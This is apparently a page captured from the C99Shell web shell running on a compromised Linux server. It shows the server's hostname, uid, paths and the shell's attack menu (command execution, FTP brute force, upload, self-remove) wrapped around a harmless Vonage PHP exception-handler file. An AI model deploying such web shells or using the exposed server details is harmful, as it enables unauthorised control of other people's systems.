!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Client/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     APIExceptionHandler.php (2.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\Client;

use 
Psr\Http\Message\RequestInterface;
use 
Psr\Http\Message\ResponseInterface;

use function 
is_string;
use function 
json_decode;
use function 
sprintf;

class 
APIExceptionHandler
{
    
/**
     * Format to use for the rfc7807 formatted errors
     *
     * @var string
     */
    
protected $rfc7807Format "%s: %s. See %s for more information";

    public function 
setRfc7807Format(string $format): void
    
{
        
$this->rfc7807Format $format;
    }

    public function 
getRfc7807Format(): string
    
{
        return 
$this->rfc7807Format;
    }

    
/**
     * @throws Exception\Exception
     *
     * @return Exception\Request|Exception\Server
     */
    
public function __invoke(ResponseInterface $responseRequestInterface $request)
    {
        
$body json_decode($response->getBody()->getContents(), true);
        
$response->getBody()->rewind();
        
$status = (int)$response->getStatusCode();

        
// Error responses aren't consistent. Some are generated within the
        // proxy and some are generated within voice itself. This handles
        // both cases

        // This message isn't very useful, but we shouldn't ever see it
        
$errorTitle 'Unexpected error';

        if (isset(
$body['title'])) {
            
// Have to do this check to handle VAPI errors
            
if (isset($body['type']) && is_string($body['type'])) {
                
$errorTitle sprintf(
                    
$this->rfc7807Format,
                    
$body['title'],
                    
$body['detail'],
                    
$body['type']
                );
            } else {
                
$errorTitle $body['title'];
            }
        }

        if (isset(
$body['error_title'])) {
            
$errorTitle $body['error_title'];
        }

        if (isset(
$body['error-code-label'])) {
            
$errorTitle $body['error-code-label'];
        }

        if (isset(
$body['description'])) {
            
$errorTitle $body['description'];
        }

        if (
$status >= 400 && $status 500) {
            
$e = new Exception\Request($errorTitle$status);
            @
$e->setRequest($request);
            @
$e->setResponse($response);
        } elseif (
$status >= 500 && $status 600) {
            
$e = new Exception\Server($errorTitle$status);
            @
$e->setRequest($request);
            @
$e->setResponse($response);
        } else {
            
$e = new Exception\Exception('Unexpected HTTP Status Code');
            throw 
$e;
        }

        return 
$e;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--